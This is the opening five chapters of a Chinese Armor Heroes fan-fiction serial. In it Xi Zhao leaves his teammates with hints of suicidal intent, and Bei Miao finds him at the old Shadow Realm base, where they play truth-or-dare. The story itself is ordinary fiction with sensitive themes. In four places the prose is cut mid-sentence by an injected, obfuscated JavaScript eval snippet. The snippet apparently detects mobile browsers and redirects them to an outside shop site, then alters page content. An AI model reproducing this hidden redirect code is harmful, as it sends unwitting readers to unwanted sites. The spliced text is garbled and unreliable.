《[铠甲勇士]余烬潮生(北西)》 1. 他的终点 众人结束在幸福饺子馆的大团圆晚宴后,打算次日在ERP实验室重聚,对之后的大体规划做个简单的讨论,例如各自的去向和计划、ERP的管理和运作、对光影铠甲的收尾和处理工作等等。 二队召唤人自出门就勾肩搭背地沿着街道一边打打闹闹一边消失在忽明忽暗的月光里。炘南骑摩托车送敏慈回家、北淼领冰儿坐上黄色跑车、东杉在路边给美真找出租车、坤中在和每个人热情拥抱后便匆匆往住处赶。 只有西钊插着口袋观望着众人,久久没有动静,直到美真准备上车时才用不大不小的音量叫住了她。 “……美真。” “怎么了,西钊?”美真收回踏进车里的半只脚,站到西钊面前。 西钊不知道什么时候有将光影铠甲召唤晶片作为手链松垮圈在手腕的习惯。他轻轻捏住手腕上的黑色绳子绕了两圈,纤细的手指勾住吊着晶片的绳子,又从口袋里拿出雪獒铠甲召唤器,摊开手心递给美真。美真明白西钊的意思。他并不想参与明天“最后”的聚会。 “我想在这里把一切做一个了结。”西钊替美真说完了她心里想的后半句话。 “为什么?是发生什么事了吗?难道影界……” “美真,你误会了。”西钊勾起嘴角,灯光在他酒窝上印出浅浅的影子,“我只是想要‘自由’。不为影界有违良心的命令困扰、不被现世拯救世界的使命束缚。就像我对冰儿……小雪说的那样:走在阳光下,过正常的生活。我不像其他人。你们讨论的话题,我不是必须在场的。” 美真从西钊手中接过召唤器和晶片,眼中闪烁着犹豫与担忧:“西钊,你真的考虑好了吗?万一我们需要雪獒铠甲的帮助——” “没关系。”西钊低下头轻声一笑,即使打断了美真的话也不失风度,“二队的雪獒铠甲召唤人其实很出色。” “可是——” “美真,怎么了?司机师傅要等不及了。” 美真还想说什么,许久不见美真上车的东杉从副驾驶的车窗探了个脑袋出来。美真回头应了东杉一声,再回头时留给她的只剩远处一点点埋没在昏暗街道上的单薄背影。待美真回到ERP实验室,她收到了来自西钊的短息。 “美真,很感谢这段时间你们对我的信任和认可。我会有一段时间联系不上。请代我向大家道别。” 美真放下手机,坐在椅子上长叹一声,瞥了眼旁边埋头检修ERP系统的东杉,小声抱怨:“哎……你说,西钊他这个人,会不会是比你还闷的闷葫芦啊。” “……啊?”东杉一时不知道是被夸了还是被骂了。 ———— 北淼像是看护无价之宝似的,确保小雪在副驾驶坐得安稳。他忽然想起什么猛地抬头,非常顺利且意外地与车窗顶来了个亲密接触。北淼吃痛地弯着腰后撤一步,一边用右手揉搓嗡嗡作响的后脑勺,一边四处张望。他刚刚看到冰儿才终于想起大家这两两三三告别中的违和感在哪里。 西钊。 北淼的脑子转得很快。他知道这里最可能落单的就是西钊和坤中,但这个着急考试的小孩比他和冰儿更早地离开——准确地说是窜出去——还一边跑一遍喊“不用担心”。所谓地虎,名副其实。所以实际上,只有西钊处于“无处可去”的情况。他想问问西钊:之后有什么打算,需不需要帮忙。 因为北淼对西钊有愧,且西钊对冰儿有恩。 “西钊呢?”北淼扫视一周,手扶车顶倾身询问冰儿:“小雪,刚刚走的时候你看到他了吗?” 冰儿还没来得及张口,随手放在座椅旁的手机响起短信提示音。北淼本想避开妹妹的隐私,但冰儿的本能比北淼更快,而当她打开短信时,装作自然扭过头给冰儿关车门的北淼已经在为他强大的阅读速度默哀了。 ———————— 发件人:西钊 我自由了。你知道我要去哪里。多保重。别告诉北淼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334629|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ———————— 别告诉北淼? 别告诉我什么?西钊怎么了?他去哪儿?什么自由?明天不来了?就算他要走,这件事明天所有人都会知道,为什么要刻意加一句别告诉他? 北淼满脑子都是问号,一屁股坐上驾驶座,在车内尴尬而微妙的氛围里发动跑车。 冰儿在发动机的低沉轰鸣里盯着手机屏幕好一会儿,半张了嘴像是有些惊讶,随即抿抿嘴唇一副欲言又止的模样。她的手指在数字键盘上摁了很多下,似乎是想回复什么,思虑几番还是选择删去所有的文字。直到最后,她也只是关闭屏幕,赌气一样将手机丢进包里。 这一切北淼都多多少少瞥见了些许。他没那个胆量开口问“怎么了”,只是遗憾道:“我本来,还想一起送他回去的。” 冰儿想到方才的短信,闭上眼沉默半晌:“我们从来没有地方去。” 北淼急了,一个油门下去差点闯红灯:“不。不会的,小雪,以后我会一直照顾你。你绝不会再被抛下,我这次一定会——” “那他呢?” 轻如雪花的疑问句从冰儿口中吹出,飘落在北淼的手背,让他在瞬间感觉到阵阵刺骨的冰冷。冰儿歪过脑袋,将头靠在车窗上,视线看向一旁被噎住的北淼,曾经尖锐的仇恨已然不再,只剩未能好好学会的温柔和从碎片中零星拼合的期许。 “小北哥,帮我一个忙。” “好。”北淼几乎是条件反射地回答。 冰儿将手机递给北淼,给他看西钊的短信。 她说:西钊曾经说过,他就像风筝,被人拽着一根线飞在空中。如果有一天他真的获得了自由,他便会剪去风筝线,要么向着更高的天空,要么坠落至深海。无论哪一个他都认为是一种解脱。他说,等那一天到来——他坚信一定会——他会对冰儿说:我自由了,你多保重。 “希望你能在风筝折翼之前找到他,小北哥。” TBC 2. “烂橘子” 西钊走进电击仓席地而坐,丝毫不顾忌上面铺满的碎石屑和尘埃。他从饺子馆离开后,便一路来到熟悉的影界基地——他本就无处可去。 西钊双臂搭在膝盖上,伸手卷起右边的衣袖。手臂上的黑色纹身并没有因为影界的黑暗势力被完全封印而消失,但它不会再让西钊受到控制。它只是安静地存在着,时刻警醒西钊他曾陷入的深渊与绝境、他曾犯过的错、伤害的人。 他抬起头,抬手抚摸电击仓的墙壁。灰尘在他指尖印下痕迹,面前杂乱不堪的基地告诉他这里已经不会再放出让他痛了十年的高压电流。即便如此,西钊还是在回忆起雪獒铠甲因他嘶哑的悲鸣而回应自己时如真实触电一般弹回手。 无论时间如何流逝,这里都埋没着他经历的一切苦痛,是他持续十年的梦魇。 西钊告诉冰儿,自己自由了。他本应去一处无人的海岸,让自己走向大海。倒也不是西钊单纯地想自我了结,只是他那“局外人”的自卑感从没有随着大团圆的结局消退多少。在冰儿回到北淼身边、坤中安心备考之后,他便真正意义上地无牵无挂。 他知道,他们身边都有这种“牵挂”,那个影界经常教育他们会“拖累一切”的东西。每当看着他们拌嘴打闹,西钊便会觉得自己被这股暖意所包裹。但他不懂,为何自己的双手依旧冰冷。他的内心深处总会有一个声音,有如恶魔低语: “这世界少你一个,并不会有多大影响。” 他没有否认,因为他找不出理由反驳。 西钊自嘲地笑出声,歪头斜了身子靠在电击仓的内墙上。所以其实他应该去海边的,结果走着走着就踩上了影界基地门口崎岖的岩石。 真狼狈。西钊想,他就像是无家可归的狗不敢追逐梦想中的海浪,便回头从垃圾堆里叼出以前破烂梆硬的窝,把自己长大的身体塞进那小小一方冰冷的回忆。 ……嗯…雪獒似乎确实是犬科。 身心俱疲的西钊缓缓合上眼,在意识坠入黑暗之前如此想着。 ———— 凌晨时分,日出的辉光已透过薄薄的云层穿透紫黑色的夜空,而北淼仍坐在黄色跑车里。他的手按在方向盘上,指尖不停地依次敲击,试图缓解他的焦躁。 他已经安顿好冰儿暂住在自己家,户口之类的事可以之后再说。但北淼一夜未眠。一想到西钊那句“别告诉北淼”,他就毫无睡意。车窗外的排排路灯照得他眼睛发酸,他伸手去拿旁边搁着的咖啡,发现里面已经空了。余光瞥见副驾驶上冰儿留下的手机,心里还是没个定数。 ——不对,自己什么时候变得这么优柔寡断了。 当这个念头如流星划过北淼的脑海,他便不再犹豫,发动跑车直奔汉堡店。 美真情理之中意料之外地拒绝了北淼“定位发件人位置”的请求。理由很简单:首先不涉及ERP处理范围的情况下,这是个人隐私;其次,如果西钊真的打算暂时离开众人的视线,那么这样的“跟踪”也是非常冒犯的行为,有违他的意愿。 “还是说,”美真环抱双臂,一副了然于胸的模样,“大家都一起走到现在了,你还不相信西钊?” 这话反而是把北淼说愣了:“我不是这个意思!冰儿告诉我西钊的离开另有隐情,我只是……这样,你要实在不放心,我带上黑犀铠甲的召唤器。” “这才是我不放心的。我如果把西钊的坐标查出来,谁知道你会不会一冲动做出什么傻事?影界很长一段时间应该都不会再有行动,加上西钊也把雪獒铠甲的召唤器还给了我,他已经是我们的伙伴了,你应该相信他。” “你……我……哎!你根本没明白我的意思。”北淼双手用力地拍在桌上,气不打一处来,想解释又无从说起,“我没有不相信他,我只是担心他。至少让我确认一下他在哪儿。” “真的?” 美真歪歪脑袋,弯下腰一只手撑着桌面一手叉腰,转头看向北淼。后者扭头避开了她的视线,放弃抵抗似的长叹。 “……真的。” “那你要答应我,不许乱来。” “……知道了。”北淼皱起眉烦躁地抓抓头发。 这就是被人习惯性质疑的感觉吗?经历这几十秒钟深呼吸冷静下来的北淼忽然意识到这一点。至少他的解释美 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334630|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真能够听进去,并且相信他。但是西钊曾经的处境可谓是天壤之别——拜北淼所赐。这一刻北淼才深刻体会到不被信任、解释无人愿意倾听的感受。 说出那些质疑的话、泼出脏水如此轻而易举,而变成落水狗的那个人也如愿以偿地受到所有人排挤,最终只剩下离开的唯一选择。 北淼知道自己有愧于西钊,他只是不知道那个连发脾气都吵不过别人两句话的家伙因为自己的“烂橘子”言论承受了那么多。 啊——烦躁。 北淼低头捏了捏眉心。 “咦?”美真在锁定西钊手机的位置之后感到十分困惑,“西钊的这个位置……不是你们之前帮西钊拿回金影石的……影界基地吗?因为已经没有影界的电磁干扰,因此信号很强。只是……” 美真犹豫着没有说出后半句,甚至将她查到的坐标以及时间重新检查校对了三次,结果依旧是一样的。而北淼的手已经拍在桌上,急不可耐。他紧盯屏幕上的那个红点,像是要透过它找到里面的人。 “只是什么,美真?只是什么?”北淼催促道。 “只是……这个信号,已经超过6小时没有移动了。” 6小时,正好是从饺子馆散会后的那段时间。所以西钊一个人大晚上跑去了影界基地?为什么?为什么一个“自由”的人要回到那种地方?难道是创伤后应激障碍?还是他现在有什么危险? 没有时间多想,北淼迅速转身冲向门口。 “北淼!!”美真突然拍案而起。 北淼刹住脚步,偏过半边脑袋等待美真的后话。 “记住你说的话,别冲动。情况也许不是你想的那样,西钊回到那里一定是有什么原因的。” 北淼咬咬牙,没有马上回答。看来他又被误会了。为什么都以为他还会揪着西钊的前科不放?他刚刚甚至都没有往这个方向想过。这就是所谓天道有轮回? “……我知道我在做什么。” 躲进车里攥紧方向盘时,北淼发现自己好像生气了,非常生气。但他知道,他气的是自己——那颗真正的“烂橘子”。 TBC 3. 真心话大冒险 北淼踏进影界基地的那一刻就看见西钊依在一个类似半开舱室的内墙上不省人事。他急忙跑过去查看他的身体状况,很快便注意到西钊手臂上的某个黑色印记。 “这是……”北淼顿感不妙,按着西钊的肩膀用力晃了晃,“西钊,醒醒!西钊!” 这一刻,北淼心里想的不是影界势力是否以某种形式卷土重来;他想的是:眼前这个人到底还要因为他十年前松开的手经历多少苦难? 他第一次和西钊道歉时,就见过这个扭曲的纹身。最终决战之前西钊总是担心如果他因为这个印记而被暗黑护法控制,是否会给其他人带来非常大的麻烦。北淼还记得,西钊并没有明确接受他的道歉,也没有对他表现出反感和厌恶,只是说着“既然如此,以后就一起战斗吧”便一笑而过。 西钊总是这样,带着令人捉摸不透的温和笑容拒人千里之外。北淼有很多“为什么”想问他,但想到自己曾经说过的话、做过的事,却又怎么都开不了口。 西钊在ERP虚拟战斗室的攻击与力量数据是最高的。北淼曾经很嫉妒,现在却很困惑。就凭那个几乎比电线杆都要窄的消瘦身板,如此弱不禁风的一个人如何能驾驭雪獒铠甲这样的重甲、又是如何能高举那柄能够“削铁如泥、混沌尽散”的震雷斧?北淼从不明白。 “……呃。” 沙哑细微的声音打断北淼的思绪,他这才注意到西钊微卷的头发似乎是被冷汗浸湿了。西钊皱着眉慢慢睁开眼,下意识地推开北淼按在他肩膀的手,掌心撑着前额试图让自己清醒一些。 “西钊!你怎么样?出了什么事?” 不等朦胧的双眼聚焦,西钊就听出面前的人是北淼。于是他意识到,尽管他只把自己要离开这件事告诉了冰儿和美真,她们也还是不约而同地把自己出卖了。西钊暗暗自嘲,无奈地摇摇头。 其实他现在不太想看见北淼,不过不是因为讨厌他。 “是冰儿让你来的,对吗?”西钊手撑地面,在起身的同时试图将袖子放下来。 北淼反应迅速地抓住西钊的手臂,将那漆黑的印记展示在两人眼前。他的力气很大,西钊象征性地挣脱了一下便没有了后文;他的语气也很坚定,不容任何人违逆:“你先回答我的问题。” 西钊勾起嘴角,眼里却没什么笑意,洞穴的光影勾勒出他近乎完美的脸部轮廓。 像是对北淼的某种嘲讽,西钊用最柔和的微笑,以曾经被所有人误解后与北淼对峙时的那副语气说道:“如果我说,我只是睡着了,你会信吗?”随即,他闭上眼沉了鼻音轻哼一声,“随你怎么想。” 北淼僵在原地,一种拳打棉花的无力感让他说不出一句话;他松开手,却舍不得收回,直到西钊的手腕慢慢浮现出淡红的五指勒痕,他才仓促地撤回手随意在自己的皮衣上擦拭几下,心虚地低声说“对不起”。西钊的问题无疑把北淼置于两难的境地:他信,又担心西钊这什么都独自承受的破性子对他说谎;他不信,便是承认现在的自己与曾经那个混蛋半斤八两。前后都是死,怎样都是送命题。 “听着,西钊,我……” “好了,开玩笑的。” 盯着地板抚摸后颈的北淼正要给自己破破烂烂的形象找补,以便让西钊能对他更加坦诚;然而西钊却夺过话头,一转先前带有些许敌意的嘲弄语气,如往日一样温柔而平静:“我只是太累了,没想到会在这里睡着。”西钊停顿一下,犹豫几秒又加了一句,“真的。” “……” 所以你只是累到睡着了? 北淼曾经自诩队伍里的决策大师,但面对西钊这傻子一样的脑回路又觉得考虑过多的自己也像个傻子。但其实,仔细想想,如果不是因为他的“决策”和西钊的“傻”,五副铠甲的团结之路也许就没有那么坎坷了。 …… 不是,张北淼,你来这儿是找人的还是忏悔的?! 北淼在心里痛骂了自己一声。 “那你手上的印记是怎么回事?他们已经被我们完全封印了。我还以为……” 西钊垂眸看向手臂上的印记与被北淼抓握出的红痕,摊开的手掌握成拳又张开,血管与肌肉让纹路拉伸扭曲。他知道北淼刚刚在担心什么,于是耐心地解释道:“影界势力被封印后,其中的异能量就消失了。只是‘它’没有消失罢了。” 他没有提到它会不会痛、会不会让自己做噩梦。 “不行,这种东西太危险了。”北淼阴下脸,环抱双臂,身子一斜靠在那台破旧的高压电流调节机器旁,“让美真和东杉研究怎么把这个去掉。” 西钊没有马上回北淼的话,只是默默低头放下衣袖,直到印记被重新遮住。 “没关系。它现在对我没有什么影响。”西钊依然挂着浅浅微笑,逆着舱室微弱的残光与北淼对视,眼神晦暗不明。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334631|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 北淼忽然不喜欢西钊那样笑。 “西钊。”北淼紧抿唇瓣,差点咬破了皮;他眉头紧锁,语气尽可能地平稳,却怎么也掩盖不住其中的压抑情绪,“告诉我实话。” 西钊半垂眼帘,笑意一点点淡下去:“我没事,你回去吧。” 不知为何,一股无名火窜上北淼的心口。他走上前一手按着西钊的左肩不轻不重地推了一把,将他推进舱室。他的手撑在后墙,用比西钊大了几圈的身形将他困在半个包围圈里。身高相差无几的二人鼻尖几乎要贴上去,彼此的吐息交融在一起。 如果说西钊是风筝,那北淼或许就是个鼓鼓囊囊的气球——而它现在被西钊的一句“我没事”毫无预兆地扎破了。北淼的无名火随着气球的爆炸一涌而上,试图将西钊淹没。 “你没事?你没事会瞒着大家不告而别?!”北淼再次抓起西钊有印记的手,接着又摔了回去,“你没事会带着这玩意儿来这里?你没事会累到睡着的时候出冷汗?你还要戴着那副面具到什么时候?还要自己憋到什么时候?如果你还没原谅我,我就站在这里让你揍。但如果你什么都不说,我怎么——” “北淼,你冷静一点。”西钊抬起左手,一巴掌按在北淼胸口用力将人推出一段距离,自己也顺势往前走了一步。北淼的包围圈就这样被西钊攻破。他其实不比北淼弱,只是不想动手,但北淼连珠炮一样的质问实在是让他有些聒噪。 说来也怪,北淼大概是唯一会让他觉得“躁”的人了。 ——这不是在夸他。 西钊在脑海中补充。 西钊看着踉跄一步才站稳的北淼,想用一个笑容缓解气氛,但发现自己笑不出来。他知道北淼在这方面会一意孤行,得不到答案决不放弃;而西钊自己又是一个没有推力就无法前进、无法开口的人。于是他只好用另一种方式让彼此“强制交流”:“既然你那么想知道答案,那就自己来拿吧。” “自己来拿?”北淼眉毛一挑。 “嗯,是敏慈教我的游戏。”西钊从口袋里拿出两个棱角和花纹有些磨损的骰子,摊在掌心给北淼看,“如果我没记错的话,应该是叫……‘真心话大冒险’。” “……” 为什么西钊的脑子里总有一些“伤敌一千自损八百”的想法? 沉默着接过西钊手里其中一颗骰子时,北淼困惑地想。 TBC 4. 入梦 幻痛。这个词最开始到底是谁想出来的? 尽管生理上已经没有痛觉神经,由于神经系统与精神甚至是心理的关系,被切除的肢体位置依然会带来疼痛。 对于西钊来说,尽管印记已经没有任何异能量残留,他依旧会时不时感觉到刺痛。这份痛苦渗透他的身体与灵魂、追着他的意识进入梦中,为他并未随着美好结局的到来而停止的噩梦火上浇油。 他梦见自己被它控制,穿着雪獒铠甲——更准确地说,是被囚禁在了铠甲之中,对外界发生的任何事都无能为力。在他周围的是一片黑暗,和炘南曾提起的黑域非常相似。在他——雪獒铠甲——脚边,横七竖八躺着他的朋友、伙伴,还有……光影铠甲。 炎龙铠甲和风鹰铠甲分别倒在两边,中间一抹橙黄是仅剩一口气捂着胸口瘫坐在地的地虎铠甲。雪獒铠甲步步逼近,手中的巨斧缓缓高举。它没有理会铠甲中某个来自现实的声音绝望的叫喊与呼唤,苍白的利刃狠狠劈下,地虎铠甲便再无动静。 “不要……” 西钊发现自己嗓子哑了,他又想起曾经短暂被北淼逼至再度背叛而误伤坤中的事情,喉咙发紧、鼻子一酸,他意识到自己好像哭了。 然而,他还没从这窒息的自责与悲痛中苏醒,雪獒铠甲再次踏出沉重的脚步向前走去。在黑域的尽头,是几乎用尽全身力量试图站稳的黑犀铠甲。当他看见雪獒铠甲时,竟把流星枪收回,任凭雪獒铠甲的巨斧在他胸口斩下一记重击。他踉跄倒地,挣扎着再次站起。 “北淼!!” 西钊已经快要认不出自己的声音,但黑犀铠甲丝毫没有要反击的意思,除了本能的格挡,他就这样任由雪獒铠甲的利刃在黑犀铠甲上劈出一道道火花,直至他再也无法站起来,单膝跪倒在地。 “北淼……你为什么、不还手……” 当一个醒目的“削”字出现在西钊眼前,他脑中顿时警铃大作,可他连发出声音的权利都被剥夺了。那一刻,恐惧的洪水在他心里决堤,将他迅速淹没。 北淼会死,他们都会死。 而自己亲手杀了他们。 “……钊、西钊!” ……什么……声音? “——西钊!西钊!” “!!!” 西钊猛然惊醒,他正用手撑着前额大口喘着气,冷汗浸湿了他的掌心。他惊魂未定地看向身旁同样受到惊吓又满脸担忧的北淼,停滞的大脑缓慢运转,这才终于记起他们在玩“真心话大冒险”。 他们当时坐在插满一圈破碎管子高台上,中间的平台不知怎地被砸了个洞,西钊找来一块平一些的岩石垫在上面,两个人一人一边,靠着管道随意坐下,掷出骰子。 第一局西钊就输了。他知道北淼想要那个问题的答案,于是选择“真心话”。而北淼也一如既往地开门见山。 “所以,这个印记对你还有影响吗?不要想着避重就轻。” 西钊避开北淼迫切的视线,转头盯着北淼身旁那根管道破裂后残存的尖锐断角,尽可能让自己的声音听起来更平静:“你知道‘幻痛’吗?”不等北淼的是与否,西钊自顾自地继续说下去,“其实,就和那种感觉差不多。我从得到它开始,就会做噩梦。不过,这么多年都没睡过安稳觉,习惯了。” 习惯了。 这其实就是西钊避重就轻的方式。 “……你都、梦见过什么?” 西钊没有回答,轻笑着掷出骰子。北淼很默契地也把骰子掷了出去。有如天助,北淼看着自己的“6”和西钊的“1”,突然怀疑他是不是故意输给自己的,西钊甚至没有通过选择“大冒险”钻空子,反而回答了北淼的上一个问题。 但让西钊没想到的是,他越是详细地描述梦中的场景,梦里给他带来的感觉就越发真实。他甚至开始分不清虚实,不知道在讲到哪里的时候再次陷入梦魇之中,直到北淼倾身抓握他的肩膀喊他的名字。 幻觉中雪獒铠甲的震雷削,终究还是没有劈下。 老实说,北淼被西钊的这副反应吓得不轻。他曾觉得,西钊和冰儿一样,是受到影界——好吧、好吧,他承认,还有他自己——的影响而对世界充满恶意。但他不知道西钊从不愿意伤害同伴和朋友,也从不知道“背叛”对于西钊而言是怎样一种痛苦的身不由己, 西钊由始至终都在害怕自己伤害别人。到底是怎样的信念感才会让这个人在淤泥一般的影界生活十年、冰封住自己的内心,做着违心之事,直到阳光驱散所有黑暗,他温暖的灵魂才为人所知。 冰封化雪。 北淼忽然知道,小雪为她自己取名“冰儿”的原因了。 西钊的呼吸还未平稳,北淼想握住他的手给予一些力所能及的安慰。而就在北淼的指尖碰到西钊手背的瞬间,一股强大而无形的力量席卷了北淼的整个意识。 他看到了雪獒铠甲的屠戮、看到了死不还手的自己;他听到了西钊的嘶吼、听到了哽咽的悲鸣——和西钊刚刚的描述一模一样。不止如此,他能真正意义上地感受到那股强烈的、令人窒息的痛苦与绝望。那些黑暗在瞬间侵蚀了北淼的心,直到他触电一般迅速收回手,下意识后撤的上身让他的脑袋撞到了后面的管子,眼前的一切才恢复如初。 “哈啊、哈啊……怎么回事……” 这回,呼吸不稳的人变成了北淼。 “北淼!”西钊见状连忙前倾身体想要扶住北淼,却在西钊抓住北淼手腕时被人惊恐地拍开,西钊愣在原地,手还悬在半空,“北淼?你怎么了?” 这一次的触碰似乎没有像刚刚那样进入某个“异世界”,意识到这点的北淼反手拽过西钊的小臂二次确认,接着在西钊充满困惑张张嘴欲言又止的表情里松开了手。 “没事。这里有静电,被电了一下。” 蹩脚的谎言。 但西钊只是无奈一笑,并未戳穿。 北淼并不想把这件事告诉西钊——至少不是现在。他好像在那个瞬间和西钊产生了某种链接,让他可以进入西钊的意识,感受到西钊的一切。他必须弄清楚这件事发生的原因,同时,他也有一部分私心:如果有这种可能性,他想知道西钊的内心世界究竟是什么样子。 至于为什么有这样的好奇心,北淼从没想过这个问题。 西钊一边重新靠上水管,一边丢出骰子随口调侃了一句:“你居然会被败给小小静电,要是让以前的冰儿监督你训练,那你可就惨了。” 北淼藏好自己的小心思,慢慢恢复状态,调整呼吸掷出骰子。只要提到冰儿,他总是显得心情很好:“是吗?我不相信她对我下得去手。” “别那么自信。她可比你想的冷酷多了。” 看着石板上的“3”和“1”,北淼更加坚信西钊是故意的。 “真心话。”西钊几乎没有犹豫。 北淼被冰儿和西钊唤醒的那点良心还是让他没忍住问出口:“你为什么不选‘大冒险’?” 西钊用气音轻哼一声,回以北淼一个熟悉的柔和笑容。 这才对。他就应该这样笑。北淼突然想。 “因为你看起来有很多问题想问我。”话音刚落,西钊的骰子就在石板上落下了。 北淼望向西钊,半张的嘴想了半天找不出反驳的话又闭上;他低头盯着旋转的骰子,这才反应过来:“等等,这就算一个问题了?这个游戏是这么玩儿的吗?” 西钊笑着朝北淼微微扬了扬下巴,催促他掷骰。北淼换了个坐姿缓解自己的尴尬,认命一般扔出骰子。 两个骰子分别在北淼和西钊面前同时停住,“2”和“1”两个数字让北淼忍无可忍:“你是故意输给我的。” “当然不是,今天运气不好。”西钊收回自己的那颗骰子,语气显得很无辜。他没有给北淼追问的机会,“真心话。” 和自己一样蹩脚的谎言。 看来西钊是真的不擅长说谎。北淼想。之前只是有计划地针对西钊进行质疑和猜忌,现在仔细观察起来,北淼才发现他跟坤中一样单纯天真。 既然如此,北淼也不再有所顾忌:“为什么在给冰儿的短信里,你让她别告诉我?” “因为我知道你会来找我,然后我又得向你解释为什么我要走、为什么我要回到这里。我觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334632|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,和你说这些……很麻烦。” 西钊的话听上去很平淡,像是讲述一件再轻松不过的事情。也正因如此,北淼很容易听出其中的疏远。并非厌恶和憎恨,就好像两个同一磁极的磁铁,北淼只要靠近一些,西钊就会微妙地远离一些。 “看来,你还是没有接受我的道歉。”北淼挫败地低下头,五指插入发间发出一声长叹。 西钊看着这样低落的北淼,曾经高傲自负的黑犀铠甲召唤人与面前想方设法弥补过错的大男人一点点重合。 他其实不怪北淼。不管是十年前还是现在。尽管他确实因为北淼针对他的行为生过气,甚至差点误入歧途,如今冷静下来,他也多少能理解北淼的做法。他不讨厌北淼。他知道北淼大多数时候都是个正人君子、优雅绅士。不过,他也知道,北淼和十年前一样,在某些方面依旧是个拉不下脸的“胆小鬼”。而和十年前一样,被推出去替他受难的,还是他西钊。 这何尝不是一种命运弄人。 西钊知道北淼会像补偿冰儿那样补偿自己,但西钊不需要这些。过去的已经过去,失去的不会回来。 他没有未来,他不觉得自己可以有未来。所以他才想避着北淼。谁都无所谓,但北淼不行。如果北淼知道他的想法,就算跑到天涯海角这个人都会追过来把人拉回去。 就像那时,他在宇宙中坠落。 “西钊!!把手给我——!!” 西钊低头看向自己的掌心,仿佛那里还残存着双臂紧紧联结时通过铠甲传递而来的热量。 很烫。西钊想。 那是能灼烧灵魂的温度。 他回过神,再次望向低着头沉默的北淼。是啊,这个“水之铠甲”的召唤人,就是这么风风火火的。这次,又被他追上了。 西钊无声地勾起嘴角,掷出的骰子把北淼吓了一跳:“得到答案的方法就在眼前,北淼。你要结束游戏了吗?” 北淼的满面愁容被西钊这骰子扔了个干净,铭刻在基因深处那名为“男人的胜负欲”的东西让北淼重振旗鼓。对,既然西钊会故意输给他,那他今天就要解开他对西钊的所有困惑。 嗯,他知道自己赢得不要脸。但没办法,谁让对面坐着的是西钊。 ——然后北淼就看到骰子缓缓在他面前落了个“4”,而西钊的骰子却稳稳落了个“6”。 …… 果然!影界的骰子不能相信!! 北淼沉痛闭目。 即使如此,他也不打算让西钊占到便宜。他可不想就这么轻易地透露自己心里的想法。特别是对一个自己心存愧疚的人。那太丢脸了。 于是北淼想都没想就说:“大冒险。” “好。” 西钊接话的速度让北淼一度怀疑这次西钊是故意赢他,同时又知道自己肯定会选大冒险。不。北淼暗自否认。他刚刚不还说西钊跟坤中一样天真吗?哪儿来那么多心眼子。 西钊盘起双腿,双手撑着平台后仰,长叹一口气放松下来,嘴角的笑意不知为何让北淼不寒而栗:“我饿了。随便弄点吃的过来吧。” 北淼松了口气。 “我车里有。” 北淼一边说着一边起身整理衣服,准备摸身上的车钥匙。不料身后坐着的西钊风轻云淡地补充道: “要穿着黑犀铠甲,到最近的便利店买。” “……” ……? 不是。等一下。 他刚刚说了黑犀铠甲吧? 说的每个字都认识怎么连起来就听不懂了? “你在胡闹什么……”北淼有些哭笑不得。 “‘这个世界上是有承诺的’,这句话也是你说的。”西钊又摆出了那副无辜温和的招牌笑容,“愿赌服输、说话算数,这才算男人,对吧,北淼?” “……” 我可能是个烂橘子,但你是真的狗啊。西钊。 北淼攥紧了拳头,默默收回他对西钊“没有心眼”“单纯”的偏见。这回跟美真可有得解释了……北淼对自己翻了个白眼,破罐子破摔地扯下脖子上的召唤晶片。 TBC 5. 攻守易型 通往影界的基地严格意义上说处于一座山的洞窟中,从这里到北淼停车的地方还需要步行一段距离。一开始他本打算先开车到市区,那里的东西至少比便利店上档次——还更有营养。但没有了异能兽侵袭的市区很难掩人耳目地召唤铠甲,更别说那比荒山野岭多出不知道几倍的回头率。 要是第二天的杂志封面是“黑犀侠当街购物”,那他一定会想手撕那家报社。 所以北淼最终决定原地召唤铠甲,再三步并作两步地去最近的山区便利店。他知道在他踏出基地的那一刻会迎来什么,但他还没找好理由。 ———— “怎么回事?” 